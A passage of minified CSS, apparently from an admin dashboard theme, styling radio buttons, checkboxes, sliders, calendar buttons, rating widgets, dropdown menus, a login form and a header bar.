label{cursor:not-allowed}.radio-inline{display:inline-block;margin-right:20px}.radio.radio-primary .helper::after{background-color:#007bff;border-color:#007bff}.radio.radio-primary .helper::before{border-color:#007bff}.radio.radio-outline.radio-primary .helper::after{background-color:#fff;border:0.225rem solid #007bff}.radio.radio-outline.radio-primary .helper::before{border-color:#007bff}.radio.radio-matrial.radio-primary input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-primary input ~ .helper::before{background-color:#007bff;border-color:#007bff}.radio.radio-warning .helper::after{background-color:#fb6340;border-color:#fb6340}.radio.radio-warning .helper::before{border-color:#fb6340}.radio.radio-outline.radio-warning .helper::after{background-color:#fff;border:0.225rem solid #fb6340}.radio.radio-outline.radio-warning .helper::before{border-color:#fb6340}.radio.radio-matrial.radio-warning input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-warning input ~ .helper::before{background-color:#fb6340;border-color:#fb6340}.radio.radio-default .helper::after{background-color:#d6d6d6;border-color:#d6d6d6}.radio.radio-default .helper::before{border-color:#d6d6d6}.radio.radio-outline.radio-default .helper::after{background-color:#fff;border:0.225rem solid #d6d6d6}.radio.radio-outline.radio-default .helper::before{border-color:#d6d6d6}.radio.radio-matrial.radio-default input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-default input ~ .helper::before{background-color:#d6d6d6;border-color:#d6d6d6}.radio.radio-danger .helper::after{background-color:#f5365c;border-color:#f5365c}.radio.radio-danger .helper::before{border-color:#f5365c}.radio.radio-outline.radio-danger .helper::after{background-color:#fff;border:0.225rem solid #f5365c}.radio.radio-outline.radio-danger .helper::before{border-color:#f5365c}.radio.radio-matrial.radio-danger input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-danger input ~ .helper::before{background-color:#f5365c;border-color:#f5365c}.radio.radio-success .helper::after{background-color:#2dce89;border-color:#2dce89}.radio.radio-success .helper::before{border-color:#2dce89}.radio.radio-outline.radio-success .helper::after{background-color:#fff;border:0.225rem solid #2dce89}.radio.radio-outline.radio-success .helper::before{border-color:#2dce89}.radio.radio-matrial.radio-success input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-success input ~ .helper::before{background-color:#2dce89;border-color:#2dce89}.radio.radio-inverse .helper::after{background-color:#4c5667;border-color:#4c5667}.radio.radio-inverse .helper::before{border-color:#4c5667}.radio.radio-outline.radio-inverse .helper::after{background-color:#fff;border:0.225rem solid #4c5667}.radio.radio-outline.radio-inverse .helper::before{border-color:#4c5667}.radio.radio-matrial.radio-inverse input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-inverse input ~ .helper::before{background-color:#4c5667;border-color:#4c5667}.radio.radio-info .helper::after{background-color:#11cdef;border-color:#11cdef}.radio.radio-info .helper::before{border-color:#11cdef}.radio.radio-outline.radio-info .helper::after{background-color:#fff;border:0.225rem solid #11cdef}.radio.radio-outline.radio-info .helper::before{border-color:#11cdef}.radio.radio-matrial.radio-info input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-info input ~ .helper::before{background-color:#11cdef;border-color:#11cdef}@keyframes ripple{0%{box-shadow:0 0 0 1px transparent}50%{box-shadow:0 0 0 10px rgba(0,0,0,0.05)}100%{box-shadow:0 0 0 10px transparent}}.border-checkbox-section .border-checkbox-group{display:inline-block}.border-checkbox-section .border-checkbox-group .border-checkbox:checked+.border-checkbox-label:before{animation:ripple 0.3s linear forwards}.border-checkbox-section .border-checkbox-group .border-checkbox:checked+.border-checkbox-label:after{-webkit-animation:check linear 0.5s;animation:check linear 0.5s;opacity:1;border-color:#007bff}.border-checkbox-section .border-checkbox-group .border-checkbox:checked+.border-checkbox-label:after .border-checkbox-label:before{border-color:#eee}.border-checkbox-section .border-checkbox-group .border-checkbox-label{position:relative;display:inline-block;cursor:pointer;height:20px;line-height:20px;padding-left:30px;margin-right:15px}.border-checkbox-section .border-checkbox-group .border-checkbox-label:after{content:"";display:block;width:6px;height:12px;opacity:0.9;border-right:2px solid #eee;border-top:2px solid #eee;position:absolute;left:4px;top:11px;-webkit-transform:scaleX(-1) rotate(135deg);transform:scaleX(-1) rotate(135deg);-webkit-transform-origin:left top;transform-origin:left top}.border-checkbox-section .border-checkbox-group .border-checkbox-label:before{content:"";display:block;border:2px solid #007bff;width:20px;height:20px;position:absolute;left:0}.border-checkbox-section .border-checkbox{display:none}.border-checkbox-section .border-checkbox:disabled ~ .border-checkbox-label{cursor:no-drop;color:#ccc}@-webkit-keyframes check{0%{height:0;width:0}25%{height:0;width:6px}50%{height:12px;width:6px}}@keyframes check{0%{height:0;width:0}25%{height:0;width:6px}50%{height:12px;width:6px}}.border-checkbox-section .border-checkbox-group-primary .border-checkbox-label:before{border:2px solid #007bff}.border-checkbox-section .border-checkbox-group-primary .border-checkbox:checked+.border-checkbox-label:after{border-color:#007bff}.border-checkbox-section .border-checkbox-group-warning .border-checkbox-label:before{border:2px solid #fb6340}.border-checkbox-section .border-checkbox-group-warning .border-checkbox:checked+.border-checkbox-label:after{border-color:#fb6340}.border-checkbox-section .border-checkbox-group-default .border-checkbox-label:before{border:2px solid #d6d6d6}.border-checkbox-section .border-checkbox-group-default .border-checkbox:checked+.border-checkbox-label:after{border-color:#d6d6d6}.border-checkbox-section .border-checkbox-group-danger .border-checkbox-label:before{border:2px solid #f5365c}.border-checkbox-section .border-checkbox-group-danger .border-checkbox:checked+.border-checkbox-label:after{border-color:#f5365c}.border-checkbox-section .border-checkbox-group-success .border-checkbox-label:before{border:2px solid #2dce89}.border-checkbox-section .border-checkbox-group-success .border-checkbox:checked+.border-checkbox-label:after{border-color:#2dce89}.border-checkbox-section .border-checkbox-group-inverse .border-checkbox-label:before{border:2px solid #4c5667}.border-checkbox-section .border-checkbox-group-inverse .border-checkbox:checked+.border-checkbox-label:after{border-color:#4c5667}.border-checkbox-section .border-checkbox-group-info .border-checkbox-label:before{border:2px solid #11cdef}.border-checkbox-section .border-checkbox-group-info .border-checkbox:checked+.border-checkbox-label:after{border-color:#11cdef}.checkbox-fade,.checkbox-zoom{display:inline-block;margin-right:15px}.checkbox-fade label,.checkbox-zoom label{line-height:20px}.checkbox-fade label input[type="checkbox"],.checkbox-fade label input[type="radio"],.checkbox-zoom label input[type="checkbox"],.checkbox-zoom label input[type="radio"]{display:none}.checkbox-fade label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-fade label input[type="radio"]:checked+.cr>.cr-icon,.checkbox-zoom label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]:checked+.cr>.cr-icon{transform:scale(1) rotateZ(0deg);opacity:1}.checkbox-fade label input[type="checkbox"]+.cr>.cr-icon,.checkbox-fade label input[type="radio"]+.cr>.cr-icon,.checkbox-zoom label input[type="checkbox"]+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]+.cr>.cr-icon{transform:scale(3) rotateZ(-20deg);opacity:0;transition:all 0.3s ease-in}.checkbox-fade label:after,.checkbox-zoom label:after{content:'';display:table;clear:both}.checkbox-fade.fade-in-disable .cr,.checkbox-fade.fade-in-disable label,.checkbox-zoom.fade-in-disable .cr,.checkbox-zoom.fade-in-disable label{color:#ccc;cursor:no-drop}.checkbox-fade .cr,.checkbox-zoom .cr{border-radius:0;border:2px solid #007bff;cursor:pointer;display:inline-block;float:left;height:20px;margin-right:1rem;position:relative;width:20px}.checkbox-fade .cr .cr-icon,.checkbox-zoom .cr .cr-icon{color:#007bff;font-size:1em;left:0;line-height:0;position:absolute;right:0;text-align:center;top:50%}.checkbox-fade input[type="checkbox"]:checked+.cr,.checkbox-zoom input[type="checkbox"]:checked+.cr{animation:ripple 0.3s linear forwards}.checkbox-fade label{line-height:20px}.checkbox-fade label input[type="checkbox"],.checkbox-fade label input[type="radio"]{display:none}.checkbox-fade label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-fade label input[type="radio"]:checked+.cr>.cr-icon{transform:scale(1) rotateZ(0deg);opacity:1}.checkbox-fade label input[type="checkbox"]+.cr>.cr-icon,.checkbox-fade label input[type="radio"]+.cr>.cr-icon{transform:scale(3) rotateZ(-20deg);opacity:0;transition:all 0.3s ease-in}.checkbox-zoom label{line-height:20px}.checkbox-zoom label input[type="checkbox"],.checkbox-zoom label input[type="radio"]{display:none}.checkbox-zoom label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]:checked+.cr>.cr-icon{transform:scale3d(1, 1, 1) translate3d(0, 0, 0);opacity:1}.checkbox-zoom label input[type="checkbox"]+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]+.cr>.cr-icon{transform:scale3d(0.2, 0.2, 0.1) translate3d(0, 0, 0);opacity:0;transition:all 0.3s ease-in}.checkbox-fade.fade-in-primary .cr,.checkbox-fade.zoom-primary .cr,.checkbox-zoom.fade-in-primary .cr,.checkbox-zoom.zoom-primary .cr{border:2px solid #007bff}.checkbox-fade.fade-in-primary .cr .cr-icon,.checkbox-fade.zoom-primary .cr .cr-icon,.checkbox-zoom.fade-in-primary .cr .cr-icon,.checkbox-zoom.zoom-primary .cr .cr-icon{color:#007bff}.checkbox-fade.fade-in-warning .cr,.checkbox-fade.zoom-warning .cr,.checkbox-zoom.fade-in-warning .cr,.checkbox-zoom.zoom-warning .cr{border:2px solid #fb6340}.checkbox-fade.fade-in-warning .cr .cr-icon,.checkbox-fade.zoom-warning .cr .cr-icon,.checkbox-zoom.fade-in-warning .cr .cr-icon,.checkbox-zoom.zoom-warning .cr .cr-icon{color:#fb6340}.checkbox-fade.fade-in-default .cr,.checkbox-fade.zoom-default .cr,.checkbox-zoom.fade-in-default .cr,.checkbox-zoom.zoom-default .cr{border:2px solid #d6d6d6}.checkbox-fade.fade-in-default .cr .cr-icon,.checkbox-fade.zoom-default .cr .cr-icon,.checkbox-zoom.fade-in-default .cr .cr-icon,.checkbox-zoom.zoom-default .cr .cr-icon{color:#d6d6d6}.checkbox-fade.fade-in-danger .cr,.checkbox-fade.zoom-danger .cr,.checkbox-zoom.fade-in-danger .cr,.checkbox-zoom.zoom-danger .cr{border:2px solid #f5365c}.checkbox-fade.fade-in-danger .cr .cr-icon,.checkbox-fade.zoom-danger .cr .cr-icon,.checkbox-zoom.fade-in-danger .cr .cr-icon,.checkbox-zoom.zoom-danger .cr .cr-icon{color:#f5365c}.checkbox-fade.fade-in-success .cr,.checkbox-fade.zoom-success .cr,.checkbox-zoom.fade-in-success .cr,.checkbox-zoom.zoom-success .cr{border:2px solid #2dce89}.checkbox-fade.fade-in-success .cr .cr-icon,.checkbox-fade.zoom-success .cr .cr-icon,.checkbox-zoom.fade-in-success .cr .cr-icon,.checkbox-zoom.zoom-success .cr .cr-icon{color:#2dce89}.checkbox-fade.fade-in-inverse .cr,.checkbox-fade.zoom-inverse .cr,.checkbox-zoom.fade-in-inverse .cr,.checkbox-zoom.zoom-inverse .cr{border:2px solid #4c5667}.checkbox-fade.fade-in-inverse .cr .cr-icon,.checkbox-fade.zoom-inverse .cr .cr-icon,.checkbox-zoom.fade-in-inverse .cr .cr-icon,.checkbox-zoom.zoom-inverse .cr .cr-icon{color:#4c5667}.checkbox-fade.fade-in-info .cr,.checkbox-fade.zoom-info .cr,.checkbox-zoom.fade-in-info .cr,.checkbox-zoom.zoom-info .cr{border:2px solid #11cdef}.checkbox-fade.fade-in-info .cr .cr-icon,.checkbox-fade.zoom-info .cr .cr-icon,.checkbox-zoom.fade-in-info .cr .cr-icon,.checkbox-zoom.zoom-info .cr .cr-icon{color:#11cdef}.checkbox-color{display:inline-block;margin-right:20px;cursor:pointer}.checkbox-color label{display:inline-block;position:relative;padding-left:10px;line-height:20px}.checkbox-color label::before{content:"";display:inline-block;position:absolute;top:0;width:20px;height:20px;left:0;right:0;text-align:center;margin-left:-20px;border:1px solid #ccc;border-radius:0;background-color:#fff;transition:border 0.15s ease-in-out, color 0.15s ease-in-out}.checkbox-color label::after{display:inline-block;position:absolute;width:16px;height:16px;left:-1px;top:0;margin-left:-17px;padding-left:3px;padding-top:1px;font-size:11px;color:#fff}.checkbox-color input[type="checkbox"]{opacity:0}.checkbox-color input[type="checkbox"]:focus+label::before{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.checkbox-color input[type="checkbox"]:checked+label::after{font-family:'FontAwesome';content:"\f00c"}.checkbox-color input[type="checkbox"]:checked+label::before{animation:ripple 0.3s linear forwards}.checkbox-color input[type="checkbox"]:disabled+label{opacity:0.65}.checkbox-color input[type="checkbox"]:disabled+label::before{background-color:#eee;cursor:not-allowed}.checkbox-color.checkbox-circle label::before{border-radius:50%}.checkbox-color.checkbox-inline{margin-top:0}.checkbox-danger input[type="checkbox"]:checked+label::after,.checkbox-info input[type="checkbox"]:checked+label::after,.checkbox-primary input[type="checkbox"]:checked+label::after,.checkbox-success input[type="checkbox"]:checked+label::after,.checkbox-warning input[type="checkbox"]:checked+label::after{color:#fff}.checkbox-primary input[type="checkbox"]:checked+label::before{background-color:#2196f3;border-color:#2196f3}.checkbox-primary input[type="checkbox"]:checked+label::before{background-color:#007bff}.checkbox-warning input[type="checkbox"]:checked+label::before{background-color:#fb6340}.checkbox-default input[type="checkbox"]:checked+label::before{background-color:#d6d6d6}.checkbox-danger input[type="checkbox"]:checked+label::before{background-color:#f5365c}.checkbox-success input[type="checkbox"]:checked+label::before{background-color:#2dce89}.checkbox-inverse input[type="checkbox"]:checked+label::before{background-color:#4c5667}.checkbox-info input[type="checkbox"]:checked+label::before{background-color:#11cdef}.slider-nav .left-arrow,.slider-nav .right-arrow{font-size:20px;color:#145388;display:inline-block;vertical-align:middle;margin:0 15px}.slider-nav .slider-dot-container{display:inline-block}.slider-nav .slider-dot-container .owl-dot{width:6px;height:6px;border-radius:10px;color:#00a7e2;background:#7cb9ec;outline:initial !important;border:initial;margin:0 5px;padding:0}.slider-nav .slider-dot-container .owl-dot.active{background:#145388}.fc .fc-toolbar .fc-button{background:#4a5361;color:#fff;padding:5px 10px;height:auto;border:none;text-transform:capitalize;text-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.fc .fc-toolbar .fc-button .fc-icon{margin:0;top:0}.fc .fc-toolbar .fc-button .fc-icon:after,.fc .fc-toolbar .fc-button .fc-icon::after{font-family:"iconkit";font-size:16px}.fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow:after,.fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow::after{content:"\e843"}.fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow:after,.fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow::after{content:"\e844"}.fc .fc-toolbar .fc-button.fc-state-active,.fc .fc-toolbar .fc-button.fc-state-down{background:#272d36 !important}.fc .fc-toolbar h2{font-size:22px;font-weight:600}.fc .fc-view-container .fc-view table thead tr td.fc-widget-header,.fc .fc-view-container .fc-view table thead tr th.fc-widget-header{color:#4a5361;background:#f3f4f4;border-color:#f3f4f4;padding:10px 0px}.fc .fc-view-container .fc-view .fc-day-number{float:left;padding:10px 0 5px 10px}.fc .fc-view-container .fc-view .fc-other-month{background:#f3f9ff}.fc .fc-view-container .fc-view .fc-event-container .fc-event{display:block;padding:3px 5px;color:#fff;font-weight:600;font-size:12px;border:none}.fc-unthemed .fc-content,.fc-unthemed .fc-divider,.fc-unthemed .fc-list-heading,.fc-unthemed .fc-list-view,.fc-unthemed .fc-popover,.fc-unthemed .fc-row,.fc-unthemed tbody,.fc-unthemed td,.fc-unthemed thead{border-color:#f3f4f4}.color-selector{padding:0;margin:0;list-style:none}.color-selector li{position:relative;display:inline-block;width:25px;height:25px;margin:0 8px 8px 0;background-color:#3e8ef7;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.color-selector li input[type=radio]{position:absolute;top:0;left:0;z-index:1;width:inherit;height:inherit;cursor:pointer;border-radius:inherit;opacity:0}.color-selector li input[type=radio]:checked+label:after,.color-selector li input[type=radio]:checked+label::after{position:absolute;top:0px;left:5px;display:inline-block;margin-top:-3px;font-size:16px;line-height:1;content:"\e83f";color:#fff}.color-selector li label{position:relative;margin-bottom:.4rem;font-family:"iconkit";font-style:normal;font-weight:400;font-variant:normal;text-transform:none}.color-selector li:last-child{margin-right:0}.alert{border:none}.alert .close{font-size:18px;padding:12px 15px}.jq-icon-info{background-color:#11cdef;color:#fff;border:none}.jq-icon-warning{background-color:#fb6340;color:#fff}.jq-icon-error{background-color:#f5365c;color:#fff}.jq-icon-success{color:#fff;background-color:#2dce89}.jq-toast-single,.jq-toast-single h2{font-family:'Nunito Sans', sans-serif}.br-wrapper{margin:20px 0 50px}.br-theme-bars-1to10 .br-widget .br-current-rating{clear:both;padding:0;font-size:13px;color:#757575;font-weight:400}.br-theme-bars-reversed .br-widget .br-current-rating{clear:both;padding:0;line-height:2;font-size:13px}.br-theme-bars-movie .br-widget .br-current-rating{color:#757575;font-weight:400;text-align:left}.br-theme-bars-horizontal .br-widget .br-current-rating,.br-theme-bars-reversed .br-widget .br-current-rating{color:#757575;font-weight:400;font-size:13px}span.value{display:inline}.current-rating{position:relative;top:-50px}.current-rating.hidden{display:none}.your-rating{position:relative;top:-50px}.your-rating.hidden{display:none}.br-theme-bars-1to10 .br-widget a,.br-theme-bars-movie .br-widget a,.br-theme-bars-reversed .br-widget a,.br-theme-bars-horizontal .br-widget a{background-color:#66b0ff}.br-theme-bars-1to10 .br-widget a.br-active,.br-theme-bars-1to10 .br-widget a.br-selected,.br-theme-bars-movie .br-widget a.br-active,.br-theme-bars-movie .br-widget a.br-selected,.br-theme-bars-reversed .br-widget a.br-active,.br-theme-bars-reversed .br-widget a.br-selected,.br-theme-bars-horizontal .br-widget a.br-active,.br-theme-bars-horizontal .br-widget a.br-selected{background-color:#007bff}.br-theme-bars-pill .br-widget a{background-color:#66b0ff;color:#007bff}.br-theme-bars-pill .br-widget a.br-active,.br-theme-bars-pill .br-widget a.br-selected{background-color:#007bff}.br-theme-fontawesome-stars .br-widget a.br-active:after,.br-theme-fontawesome-stars .br-widget a.br-selected:after{color:#007bff}.br-theme-css-stars .br-widget a.br-active:after,.br-theme-css-stars .br-widget a.br-selected:after{color:#007bff}.br-theme-bars-square .br-widget a{border:2px solid #66b0ff;color:#2990ff}.br-theme-bars-square .br-widget a.br-active,.br-theme-bars-square .br-widget a.br-selected{border:2px solid #007bff;color:#007bff}.br-theme-fontawesome-stars-o .br-widget a.br-selected:after,.br-theme-fontawesome-stars-o .br-widget a:after,.br-theme-fontawesome-stars-o .br-widget a.br-active:after,.br-theme-fontawesome-stars-o .br-widget a.br-fractional:after{color:#007bff}.range-slider{min-height:200px;display:flex;align-items:center;margin-left:15px}.range-slider b{margin-top:-10px}#RGB{height:10px;background:gray}#RC .slider-selection{background:#FF8282}#RC .slider-handle{background:red}#GC .slider-selection{background:#428041}#GC .slider-handle{background:green}#BC .slider-selection{background:#8283FF}#BC .slider-handle{border-bottom-color:blue}#R,#G,#B{width:300px}.range-slider-contain{position:absolute;bottom:15px}.slider-handle{top:-5px;background-image:linear-gradient(to bottom, #007bff 0%, #007bff 100%);box-shadow:none}.slider-tick,.slider-track{background-image:linear-gradient(to bottom, #BDC3C7 0%, #BDC3C7 100%)}.slider-handle.custom::before{line-height:15px;font-size:35px;color:#007bff}#slider12a .slider-track-high,#slider12c .slider-track-high{background:green}#slider12b .slider-track-low,#slider12c .slider-track-low{background:red}#slider12c .slider-selection{background:yellow}.slider-selection.tick-slider-selection{background-image:linear-gradient(to bottom, #3395ff 0%, #3395ff 100%)}.slider-tick.in-selection{background-image:linear-gradient(to bottom, #3395ff 0%, #3395ff 100%)}.slider.slider-horizontal .slider-track{height:2px}.slider.slider-horizontal .slider-tick,.slider.slider-horizontal .slider-handle{top:-5px;cursor:pointer}.slider.slider-horizontal .slider-track{width:90%;margin-top:-5px;top:50%;left:10px}.auth-wrapper .lavalite-bg{height:100vh;position:relative;width:100%;-webkit-background-size:cover;background-size:cover;background-repeat:no-repeat}.auth-wrapper .lavalite-bg .lavalite-overlay{position:absolute;width:100%;height:100%;top:0;left:0;background:linear-gradient(135deg, rgba(46,52,81,0.4) 0%, rgba(52,40,104,0.95) 100%)}.auth-wrapper .authentication-form{font-size:.9rem;width:70%;display:block;padding:100px 0}.auth-wrapper .authentication-form .logo-centered{width:60px;margin:0 auto;margin-bottom:40px}.auth-wrapper .authentication-form h3{font-size:20px;color:#272d36;margin-bottom:20px}.auth-wrapper .authentication-form .form-group{position:relative}.auth-wrapper .authentication-form .form-group .form-control{padding-left:40px}.auth-wrapper .authentication-form .form-group .form-control ~ i{position:absolute;top:10px;left:15px}.auth-wrapper .authentication-form .sign-btn{margin-top:30px}.auth-wrapper .authentication-form .register{margin-top:30px;text-align:center}body{color:#212121;font-size:.8rem;line-height:1.5;font-weight:400;font-family:"Nunito Sans",sans-serif}.dropdown-toggle:after,.dropdown-toggle::after{display:none}.tooltip{font-family:"Nunito Sans",sans-serif;font-size:12px;font-weight:700}.truncate{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.progress-sm{height:.5rem}.progress-sm .progress-bar{height:.5rem}.img-thumbnail,.list-thumbnail{border-radius:.1rem;padding:0;border:initial}.list-thumbnail{height:auto;max-width:unset;height:85px;object-fit:cover;width:unset !important}@media only screen and (max-width: 1023px){.list-thumbnail.responsive{width:unset;height:135px}}.list-thumbnail.small{height:60px;font-size:1rem}.list-thumbnail-letters{width:85px;height:85px;background:#090e40;align-items:center;display:flex;justify-content:center;font-size:1.25rem;color:#fff}.list-thumbnail-letters.small{width:60px;height:60px;font-size:1rem}.list-item-heading{font-size:1rem}.flex-grow-1{-webkit-flex-grow:1;-moz-flex-grow:1;-ms-flex-grow:1;flex-grow:1}.dropdown-menu{padding:5px;font-size:12px;background-color:#fff;border-color:transparent;margin:0;width:170px;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;-webkit-box-shadow:0 2px 30px rgba(0,0,0,0.08);-moz-box-shadow:0 2px 30px rgba(0,0,0,0.08);box-shadow:0 2px 30px rgba(0,0,0,0.08)}.dropdown-menu .dropdown-item{background-color:#fff;padding:8px 15px;line-height:14px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.dropdown-menu .dropdown-item .dropdown-icon{display:inline-block;vertical-align:middle;font-size:16px;margin-right:5px;vertical-align:-2px;color:#9aa0ac}.dropdown-menu .dropdown-item:hover,.dropdown-menu .dropdown-item:focus{background-color:#dee2e6 !important;color:#212121}.dropdown-menu .dropdown-item .badge{width:15px;height:15px;border-radius:50%;text-align:center;padding:0;line-height:15px}.dropdown-menu:after,.dropdown-menu::after{bottom:100%;left:10px;border:solid transparent;content:' ';height:0;width:0;position:absolute;pointer-events:none;border-color:rgba(136,183,213,0);border-bottom-color:#fff;border-width:5px}.dropdown-menu.dropdown-menu-right::after{right:10px;left:auto}.wrapper .header-top{background-color:#fff;z-index:1030;position:relative;padding:15px 0;position:fixed;top:0;width:100%;left:0;padding-left:240px;-webkit-box-shadow:0 1px 15px rgba(0,0,0,0.04),0 1px 6px rgba(0,0,0,0.04);-moz-box-shadow:0 1px 15px rgba(0,0,0,0.04),0 1px 6px rgba(0,0,0,0.04);box-shadow:0 1px 15px rgba(0,0,0,0.04),0 1px 6px rgba(0,0,0,0.04)}.wrapper .header-top .top-menu .dropdown{margin-left:10px}.wrapper .header-top .top-menu .dropdown .dropdown-menu{margin-top:10px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid{width:182px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid .dropdown-item{display:inline-block;width:40px;height:40px;text-align:center;padding:0;line-height:40px;font-size:18px;color:#5A5A5A}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown{min-width:300px;padding:0}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .header{margin:0;padding:15px;font-size:16px;border-bottom:1px solid #f1f1f1}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media{border-bottom:1px solid #eef1f2;padding:10px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media:nth-child(odd){background:#f8f9fa}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex{-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;margin-right:15px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex i{color:#fff;text-align:center;font-size:15px;line-height:30px;top:0;height:30px;width:30px;background:#404E67;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex img{height:30px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body{font-size:12px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-heading{color:#444;font-weight:600;letter-spacing:0}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-content{color:#868e96}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer{text-align:center;padding:10px 15px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer a{color:#212121;font-size:16px}.wrapper .header-top .top-menu .nav-link{width:30px;height:30px;padding:0;text-align:center;line-height:36px;color:#212121;border:none;position:relative;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out}.wrapper .header-top .top-menu .nav-link:hover,.wrapper .header-top .top-menu .nav-link:focus{background-color:#dee2e6;color:#333}.wrapper .header-top .top-menu .nav-link i{font-size:16px}.wrapper .header-top .top-menu .nav-link .badge{right:-1px;position:absolute;top:-4px;padding:3px;width:17px;font-size:11px;font-weight:800;color:#fff;border-radius:100px;-webkit-border-radius:100px;-moz-border-radius:100px}.wrapper .header-top .top-menu .avatar{color:#4c5667;font-weight:600;width:30px;height:30px;line-height:30px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;display:inline-block;background:#ced4da no-repeat center/cover;position:relative;vertical-align:bottom;font-size:.875rem;user-select:none}.wrapper .header-top .top-menu .mobile-nav-toggle{border:none;position:relative;margin-right:5px}.wrapper .header-top .top-menu .mobile-nav-toggle span{height:2px;width:20px;background-color:#4a5361;display:inline-block;border-radius:4px;position:absolute;top:14px;left:5px}.wrapper .header-top .top-menu .mobile-nav-toggle span::before,.wrapper .header-top .top-menu .mobile-nav-toggle span::after{content:"";height:2px;width:20px;border-radius:4px;background-color:#4a5361;display:inline-block;position:absolute}.wrapper .header-top .top-menu .mobile-nav-toggle span::before{left:0;top:-6px}.wrapper .header-top .top-menu .mobile-nav-toggle span::after{left:0;bottom:-6px}.wrapper .header-top .top-menu .header-search{padding:0 10px;position:relative}.wrapper .header-top .top-menu .header-search .input-group{border-radius:20px;-webkit-border-radius:20px;-moz-border-radius:20px;margin-bottom:0}.wrapper .header-top .top-menu .header-search .input-group .input-group-addon{color:#404E67;padding:2px 10px 2px 0px;font-size:16px;cursor:pointer}.wrapper .header-top .top-menu .header-search .input-group .input-group-addon.search-close{padding:2px 0px 2px 10px;display:none}.wrapper .header-top .top-menu .header-search .input-group .form-control{padding:0 10px;min-height:auto;width:0;border:none;color:#353c4e;background-color:transparent;border-radius:0px;-webkit-border-radius:0px;-moz-border-radius:0px}.wrapper .header-top .top-menu .header-search.open .input-group{background-color:#e4e4e4}.wrapper .header-top .top-menu .header-search.open .input-group .input-group-addon.search-close{display:block}@media only screen and (max-width: 1023px){.wrapper .header-top{padding-left:0}}.wrapper .header-top[header-theme="light"]{background:#fff}.wrapper .header-top[header-theme="dark"]{background:#272d36}.wrapper .header-top[header-theme="blue"]{background:#007bff}.wrapper .header-top[header-theme="red"]{background:#f5365c}.wrapper .header-top[header-theme="orange"]{background:#fb6340}.wrapper .header-top[header-theme="green"]{background:#2dce89}.wrapper .header-top[header-theme="purple"]{background:#BF55EC}.wrapper .header-top[header-theme="blue"] .top-menu .nav-link,.wrapper .header-top[header-theme="red"] .top-menu .nav-link,.wrapper .header-top[header-theme="orange"] .top-menu .nav-link,.wrapper .header-top[header-theme="green"] .top-menu .nav-link,.wrapper .header-top[header-theme="purple"] .top-menu .nav-link,.wrapper .header-top[header-theme="dark"] .top-menu .nav-link{color:#fff;background-color:transparent}.wrapper .header-top[header-theme="blue"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="red"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="orange"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="green"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="purple"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="dark"] .top-menu .header-search .input-group .input-group-addon{color:#fff}.wrapper .page-wrap{position:relative}.wrapper .page-wrap .app-sidebar{position:fixed;left:0;top:0;width:240px;height:100vh;background-color:#fff;z-index:1040;-webkit-box-shadow:0 3px 30px rgba(0,0,0,0.1),0 3px 20px rgba(0,0,0,0.1);-moz-box-shadow:0 3px 30px rgba(0,0,0,0.1),0 3px 20px rgba(0,0,0,0.1);box-shadow:0 3px 30px rgba(0,0,0,0.1),0 3px 20px rgba(0,0,0,0.1);-moz-transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);-o-transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);-webkit-transition:width 0.3s cubic-bezier(0, 0, 